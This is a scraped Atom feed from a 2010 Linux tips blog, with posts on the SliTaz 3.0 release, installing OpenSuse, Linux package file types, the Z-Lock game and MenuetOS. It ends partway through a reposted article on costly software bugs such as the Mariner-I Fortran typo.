src='https://blogger.googleusercontent.com/tracker/6631355475399605399-6595668360924210774?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/6595668360924210774/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/03/ubuntu-10.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/6595668360924210774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/6595668360924210774'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/03/ubuntu-10.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-544731047345359620</id><published>2010-03-29T08:50:00.000-07:00</published><updated>2010-03-29T08:50:38.562-07:00</updated><title type='text'></title><content type='html'>&lt;h2&gt;&lt;span style="color: #df8f06;"&gt;&lt;span style="color: red; font-size: x-large;"&gt;GNU/LINUX 3.0&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;SliTaz is a free operating system, working completely in RAM and booting from removable media such as a cdrom or USB key. SliTaz is distributed  as a LiveCD, and weighs less than 30MB. The system is quick and responsive, clean and robust. SliTaz is simple and intuitive, providing a  lightweight, elegant desktop, detailed documentation and easy to use configuration tools. &lt;a href="http://www.slitaz.org/en/about/index.html"&gt;More  information...&lt;/a&gt; &lt;br /&gt;&lt;div style="text-align: center;"&gt; &lt;img alt="slitaz-desktop" src="http://www.slitaz.org/pics/website/screenpresentation.png" style="height: 170px; margin-top: 8px; width: 380px;" title="SliTaz Desktops" /&gt; &lt;/div&gt;&lt;!--    SliTaz news starting.    English RSS feed file is : rss.xml--&gt;  &lt;h2&gt;&lt;a href="http://www.slitaz.org/en/rss.xml"&gt;&lt;img alt="SliTaz RSS News" src="http://www.slitaz.org/pics/website/feed.png" style="float: left; height: 16px; padding: 4px 4px 0px 0px; width: 16px;" title="SliTaz RSS News" /&gt;&lt;/a&gt;     &lt;span style="color: #df8f06;"&gt;Headlines&lt;/span&gt;&lt;/h2&gt;The SliTaz website offers the main news of the project as well as news on the general activity of the subprojects on the &lt;a href="http://labs.slitaz.org/"&gt;laboratories&lt;/a&gt;. Both are available as a &lt;a href="http://www.slitaz.org/en/rss.xml"&gt;XML feed&lt;/a&gt;.  The project also publishes a small monthly Newsletter. &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;    &lt;ul&gt;&lt;!--&lt;li&gt;&lt;strong&gt;Date - Title&lt;/strong&gt;  &lt;p&gt;&lt;/p&gt;&lt;/li&gt;--&gt;&lt;li&gt;&lt;strong&gt;28 Mar 2010 - SliTaz GNU/Linux 3.0 release&lt;/strong&gt;  All of the SliTaz team are proud to announce the release of the  SliTaz   GNU/Linux 3.0 operating system. It's simpler, faster, customizable,   mightier and yet incredibly tiny. The new SliTaz stable version is now   out after one year of development.&lt;br /&gt;The core desktop provides a fully featured desktop powered by Xorg  7.4,   Openbox, LXDE components and home made tools. It lets you easily  connect to  the Internet to surf the web with the Midori web browser, listen to  music  or manage your pictures.&lt;br /&gt;The default core system fits into a 30 MB ISO image and LiveCD  flavors   start at 8 MB. This stable version has been built by a new toolchain  including  GCC 4.4.1 and uses the Linux kernel 2.6.30.6. You can read the full   &lt;a href="http://www.slitaz.org/en/doc/releases/3.0/relnotes.en.html"&gt;Releases  Notes&lt;/a&gt; for more  information and &lt;a href="http://www.slitaz.org/en/get/#stable%3E"&gt;download&lt;/a&gt;  a LiveCD image from the  SliTaz mirrors.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-544731047345359620?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/544731047345359620/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/03/gnulinux-3.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/544731047345359620'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/544731047345359620'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/03/gnulinux-3.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-1198256521584664084</id><published>2010-03-28T10:21:00.000-07:00</published><updated>2010-03-28T10:25:34.666-07:00</updated><title type='text'></title><content type='html'>&lt;div style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;OpenSuse Installation&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;In this edition, I am also going to cover a simple installation guide  for the latest release of OpenSuse so that beginners can easily switch  to the Operating System (especially if you want to migrate from Windows  platform to Linux). First of all, download the DVD image &lt;a href="http://software.opensuse.org/112/en" target="_blank"&gt;from this  website&lt;/a&gt; and write it to a DVD.&lt;br /&gt;Reboot your system and press ‘F12’. This will allow you to set the  boot preference. Select ‘DVD/CD’ in this stage and press enter. You will  then be greeted with a green screen – just like the one shown below:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image147.png"&gt;&lt;img alt="OpenSuse welcome" border="0" height="249" src="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image_thumb143.png" style="border: 0px none; display: inline;" title="OpenSuse welcome" width="327" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;Now select the option ‘Installation’:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image311.png"&gt;&lt;img alt="OpenSuse  live cd menu" border="0" height="283" src="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image3_thumb1.png" style="border: 0px none; display: inline;" title="OpenSuse  live cd menu" width="356" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;The Linux kernel will be loaded in your system memory. You can  simply wait and watch all these processes!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image610.png"&gt;&lt;img alt="OpenSuse live dvd kernel" border="0" height="113" src="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image6_thumb.png" style="border: 0px none; display: inline;" title="OpenSuse live dvd kernel" width="353" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;In the next stage, the OpenSuse logo appears and starts loading the  Operating system files.&amp;nbsp; &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image910.png"&gt;&lt;img alt="OpenSuse loading" border="0" height="328" src="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image9_thumb.png" style="border: 0px none; display: inline;" title="OpenSuse loading" width="353" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;Then, you can see the ‘Welcome’ screen. Select ‘Next’ and proceed:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;a href="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image1210.png"&gt;&lt;img alt="OpenSuse - installation" border="0" height="357" src="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image12_thumb1.png" style="border: 0px none; display: inline;" title="OpenSuse - installation" width="470" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;The system will do all the necessary probing and find all the devices  attached&amp;nbsp; to your system&lt;a href="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image153.png"&gt;&lt;img alt="OpenSuse - system probing" border="0" height="264" src="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image15_thumb2.png" style="border: 0px none; display: inline;" title="OpenSuse - system probing" width="351" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;In the next stage, select ‘Partition based’ and select ‘Next’. If you  already have another Operating system (say, Windows in your C drive;  select ‘Create Partition Setup’ and select another drive).&lt;br /&gt;&lt;br /&gt;&lt;a href="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image182.png"&gt;&lt;img alt="OpenSuse - partition" border="0" height="251" src="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image18_thumb1.png" style="border: 0px none; display: inline;" title="OpenSuse - partition" width="410" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;Now, the installation program will show you the list of applications  that it is going to install. Yes, it is true. When you install a Linux  OS, you don’t have to install other popular utility tools (like Office  programs, Email client, Web browsers, media player and so on). All these  will be installed along with the Operating system. Here you can see  that it going to install applications of 2.5 GB&amp;nbsp; size in your system.  Isn’t that cool?&lt;br /&gt;&lt;br /&gt;&lt;a href="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image243.png"&gt;&lt;img alt="OpenSuse - Live DVD applications " border="0" height="381" src="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image24_thumb2.png" style="border: 0px none; display: inline;" title="OpenSuse - Live DVD applications " width="279" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;You may add your username and password in the next step. Then, click  next. The system will start the installation procedures.&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&lt;a href="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image273.png"&gt;&lt;img alt="OpenSuse install process" border="0" height="454" src="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image27_thumb2.png" style="border: 0px none; display: inline;" title="OpenSuse install process" width="411" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The system may change to consol (terminal) mode, but you don’t have  to worry as you job is over!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image303.png"&gt;&lt;img alt="OpenSuse console" border="0" height="358" src="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image30_thumb2.png" style="border: 0px none; display: inline;" title="OpenSuse console" width="458" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;Finally, it will perform some configuration in your system. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image332.png"&gt;&lt;img alt="OpenSuse - auto configuration" border="0" height="338" src="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image33_thumb1.png" style="border: 0px none; display: inline;" title="OpenSuse - auto configuration" width="435" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;It may also download few more packages if you are connected to the  internet. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image362.png"&gt;&lt;img alt="OpenSuse - packages" border="0" height="182" src="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image36_thumb1.png" style="border: 0px none; display: inline;" title="OpenSuse - packages" width="460" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;That’s it. Done.&lt;br /&gt;&lt;br /&gt;Your Linux OS (OpenSuse) is ready for use. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image391.png"&gt;&lt;img alt="OpenSuse - login screen" border="0" height="467" src="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image39_thumb.png" style="border: 0px none; display: inline;" title="OpenSuse - login screen" width="440" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;Select, your username and login using your password. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image421.png"&gt;&lt;img alt="OpenSuse - Desktop" border="0" height="347" src="http://techblog.aasisvinayak.com/wp-content/uploads/2010/03/image42_thumb1.png" style="border: 0px none; display: inline;" title="OpenSuse - Desktop" width="463" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now you can start using your OpenSuse system. As you can see here,  you already have all the necessary software installed (Photo editing  application, document editing suit, Media player, Email client, Web  browser, DVD/CD burner and many more.). You can find more applications  in your ‘&lt;i&gt;Install Software&lt;/i&gt; application’.&lt;br /&gt;Start exploring stuffs in your new OS…….&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-1198256521584664084?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/1198256521584664084/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/03/opensuse-installation-in-this-edition-i.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/1198256521584664084'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/1198256521584664084'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/03/opensuse-installation-in-this-edition-i.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-414020470278826926</id><published>2010-03-24T08:39:00.000-07:00</published><updated>2010-03-24T08:39:04.217-07:00</updated><title type='text'></title><content type='html'>&lt;b style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;WHAT ARE THESE FILES?&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;A Package is simply a piece of software, sometime with libraries and scripts included. RPMs and Debs are the most common packaging formats, and between them can be used on most Linux distros. There will often be two or three files in a coverdisc directory covering different types of linux, different architectures and usually source and binary versions. The profusion of files and extensions can be confusing - to identify the file that you should be installing, look at the filename or just type the file extension:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;myapp-1.0.1.i386.rpm&lt;/b&gt;&lt;br /&gt;This is a binary RPM package, designed to run on x86 systems( for SUSE, fedora and mandriva installs).&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;myapp-1.0.1.i386.deb&lt;/b&gt;&lt;br /&gt;The same but a debian package( for Debian, Ubuntu and Mepis).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;myapp-1.0.1.tar.gz&lt;/b&gt;&lt;br /&gt;&lt;b&gt;or myapp-1.0.1.tgz&lt;/b&gt;&lt;br /&gt;This is usually source code.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;myapp1.0.1.tar.bz2&lt;/b&gt;&lt;br /&gt;Same but uses Bzip2 instead of Gzip.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;myapp-1.0.1.src.rpm&lt;/b&gt;&lt;br /&gt;This is also source code, but supplied as RPM to make it easier to install.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;myapp-1.0.1.i386.FC5.rpm&lt;/b&gt;&lt;br /&gt;A binary, x86 RPM designed specifically for Fedora Core 5. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;myapp-1.0.1.ppc.Suse10.1.rpm&lt;/b&gt;&lt;br /&gt;An RPM just for SUSE 10.1 PPC linux.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;myapp-devel-1.0.1.i386.rpm&amp;nbsp;&lt;/b&gt;&lt;br /&gt;Headers and libs for development.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-414020470278826926?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/414020470278826926/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/03/what-are-these-files-package-is-simply.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/414020470278826926'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/414020470278826926'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/03/what-are-these-files-package-is-simply.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-3278823274389375636</id><published>2010-03-23T22:34:00.000-07:00</published><updated>2010-03-23T22:34:07.522-07:00</updated><title type='text'></title><content type='html'>&lt;b&gt;&lt;span style="font-size: large;"&gt;Shoot-'em-up&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;&lt;b&gt;&lt;span style="font-size: x-large;"&gt;Z-Lock&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;b&gt;&lt;span style="font-size: x-large;"&gt;version 0.1&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;a href="http://2.bp.blogspot.com/_lIWj8wefYIs/S6mdpLRqlXI/AAAAAAAAADc/oX8sZwbAKdc/s1600/zlock_screen.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_lIWj8wefYIs/S6mdpLRqlXI/AAAAAAAAADc/oX8sZwbAKdc/s320/zlock_screen.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The bizzare japanese shoot-'em-up, which is known in the readme_e.txt file as 'hello world project', takes the traditional top -down 2D blaster and beefs it up with some unusual gameplay concepts and super-smooth graphics-although you may have to whrestle with dependencies to get it running. if you're lucky, you can just extract the archive and run Z-Lock in the resulting directory;it doesn't need to be installed anywhere. If it doesn't work, you will have to install the D language compiler to build it.&lt;br /&gt;&lt;br /&gt;The idea behind Z-Lock is straightforward enough: the more the enemies that are locked on to your spaceship, the stronger your firepower becomes. So while there's little action on the screen, you can fire a few piffling shots now or then, but come amelee of baddies your weapon are charged up and you can go on rampage. This lead to some fascinating gameplay - sometimes it makes more sense to stay still for a few moments and let enemy craft on to you, but of course you also have to avoid enemy fire.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;Z-Lock has four gameplay modes: normal as describe above; concept, in which you can only fire when an enemy has locked on to you, score attack, where you try to earn the most point in three minutes of play; and time attack, where you can amass one million points. The controls are the same in each of these modes - move with the cursor keys and use the Z key to shoot.&lt;br /&gt;&lt;br /&gt;Z-Lock deserves praise its novel approach to old-school blaster genre, and its also boosted up by the ultra-smooth animation. the game uses polygons rather than bitmapped sprites, with enemies slickly rotating around the screen and a semi-3D effect to the background. Couple this with fast-paced Thunderforce 4-esque music and Z-Lock has a minimalist style of its own.&lt;br /&gt;To Download this amazing game click here&lt;a href="http://www.emhsoft.net/zlock"&gt;www.emhsoft.net/zlock&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-3278823274389375636?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/3278823274389375636/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/03/shoot-em-up-z-lock-version-0.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/3278823274389375636'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/3278823274389375636'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/03/shoot-em-up-z-lock-version-0.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_lIWj8wefYIs/S6mdpLRqlXI/AAAAAAAAADc/oX8sZwbAKdc/s72-c/zlock_screen.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-4505037235531288550</id><published>2010-03-23T12:12:00.000-07:00</published><updated>2010-03-23T12:12:46.742-07:00</updated><title type='text'></title><content type='html'>&lt;div style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;MenuetOS&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;version 0.82/0.48b&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_lIWj8wefYIs/S6kObZ64gsI/AAAAAAAAADU/zgD2tT6K-l8/s1600-h/indexs20.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_lIWj8wefYIs/S6kObZ64gsI/AAAAAAAAADU/zgD2tT6K-l8/s320/indexs20.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;An open source operating system programmed entirely in Assembler(basically machine code). This astonishing project had already created a usable OS with a GUI and networking stack, with a small but devoted team of part-time assembler hackers getting unbeleivable functionality out of a single floppy image.&lt;br /&gt;&lt;br /&gt;MenuetOS's focus now is on the 64-bit version, althugh work continues on the original 32-bit incarnation, which is upto a release of a 0.82 release. From the original relaese of MenuetOS 64-bit ,the project has raced along, porting code from the original release and adding TCP/IP support, audioa drivers, a simple email client and multithreading.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;Some work has taken place to enable compatibility&amp;nbsp; with 32-bit MenuetOS applicatoins - a great move, as it preserves much of the hard work put in by the developers of the original version. MenuetOS wont be challenging Vista.&lt;br /&gt;&lt;br /&gt;Linux or OS X any time soon - it'll probably remain more of&amp;nbsp; a curiosity than anything else - but even if you're not interested in programming, you will be amazed at what its coders have acheived. It really makes you wonder why the apps we use from day-to-day have to be so bloated and slow(*cough* OpenOffice.org*ahem*) .&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-4505037235531288550?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/4505037235531288550/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/03/menuetos-version-0.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/4505037235531288550'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/4505037235531288550'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/03/menuetos-version-0.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_lIWj8wefYIs/S6kObZ64gsI/AAAAAAAAADU/zgD2tT6K-l8/s72-c/indexs20.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-5928635390661025032</id><published>2010-03-16T10:24:00.000-07:00</published><updated>2010-03-16T10:26:14.005-07:00</updated><title type='text'></title><content type='html'>&lt;div class="entry-top"&gt;&lt;h2 class="entry-title" style="color: red;"&gt;&lt;i&gt;&lt;span style="font-size: x-large;"&gt;Silly Programming Mistakes =&amp;gt; Serious  Harm!&lt;/span&gt;&lt;/i&gt;&lt;/h2&gt;&lt;div class="entry-meta"&gt;&lt;span class="entry-author"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="post-ratings-text" id="ratings_826_text"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="entry-rating"&gt;&lt;br /&gt;&lt;div class="post-ratings-loading" id="post-ratings-826-loading"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="entry-content clearfix"&gt;&lt;div id="greet_block"&gt;&lt;noscript&gt;&amp;amp;amp;lt;div class="greet_block"&amp;amp;amp;gt;&amp;amp;amp;lt;div class="greet_text"&amp;amp;amp;gt;&amp;amp;amp;lt;div class="greet_image"&amp;amp;amp;gt;&amp;amp;amp;lt;a href="http://www.linuxforu.com/feed/rss/"  rel="nofollow"&amp;amp;amp;gt;&amp;amp;amp;lt;img src="http://www.linuxforu.com/wp-content/plugins/wp-greet-box/images/rss_icon.png" alt="WP Greet Box icon"/&amp;amp;amp;gt;&amp;amp;amp;lt;/a&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;Hello there! If you are new here, you might want to &amp;amp;amp;lt;a href="http://www.linuxforu.com/feed/rss/" rel="nofollow"&amp;amp;amp;gt;&amp;amp;amp;lt;strong&amp;amp;amp;gt;subscribe to the RSS feed&amp;amp;amp;lt;/strong&amp;amp;amp;gt;&amp;amp;amp;lt;/a&amp;amp;amp;gt; for updates on this topic.&amp;amp;amp;lt;div style="clear:both"&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;div class="greet_block_powered_by"&amp;amp;amp;gt;&amp;amp;amp;lt;a href="http://omninoggin.com/projects/wordpress-plugins/wp-greet-box-wordpress-plugin/" title="WP Greet Box WordPress Plugin"&amp;amp;amp;gt;Powered by WP Greet Box&amp;amp;amp;lt;/a&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;div style="clear:both"&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;&lt;/noscript&gt;&lt;/div&gt;&lt;div class="tweetmeme_button" style="float: left; margin-right: 10px;"&gt;&lt;iframe frameborder="0" height="61" scrolling="no" src="http://api.tweetmeme.com/button.js?url=http%3A%2F%2Fwww.linuxforu.com%2Fteach-me%2Fsilly-programming-mistakes-serious-harm%2F&amp;amp;source=LinuxForYou&amp;amp;style=normal&amp;amp;service=bit.ly" width="50"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;i&gt;As  programmers, we know that almost any software that we use (or write!)  has bugs. What we might not be aware of is that many disasters occur  because of silly mistakes.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr style="width: 50%;" /&gt;What can software bugs cost? “Nothing,” I hear someone saying. They  can be beneficial and ensure ‘job security’—since the more bugs we put  in the software, the more work we get in the future to fix those  embedded bugs!&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;On a more serious note, software bugs can even cost human lives. Many  mishaps and disasters have happened in the past because of software  bugs; see [1] for a detailed list. For example, during the 1980s, at  least six people were killed because of a synchronisation bug in the  Therac-25 radiation treatment machine. In 1996, the Ariane 5 rocket  exploded shortly after its take-off because of an unhandled overflow  exception.&lt;br /&gt;A sobering thought about software bugs is that, though they might  occur because of silly or innocuous mistakes, they can cause serious  harm.&lt;br /&gt;In 1962, the Mariner-I rocket (meant to explore Venus) veered off  track and had to be destroyed. It had a few software bugs and one main  problem was traced to the following Fortran statement: &lt;code&gt;DO 5 K = 1.  3&lt;/code&gt;. &lt;br /&gt;The “&lt;code&gt;.&lt;/code&gt;” should have been a comma. The statement was  meant to be a DO loop, as in “DO 5 K = 1, 3”, but while typing the  program, it was mistyped as “DO 5 K = 1. 3”.&lt;br /&gt;So, what’s the big deal? In old Fortran, spaces were ignored, so we  can have spaces in identifiers (yes, believe me, it’s true). Hence this  became a declaration for a variable of the real type DO5K with an  initial value of 1.3 instead of a DO loop. So, a rocket worth $18.5  million was lost because of a typo error!&lt;br /&gt;In 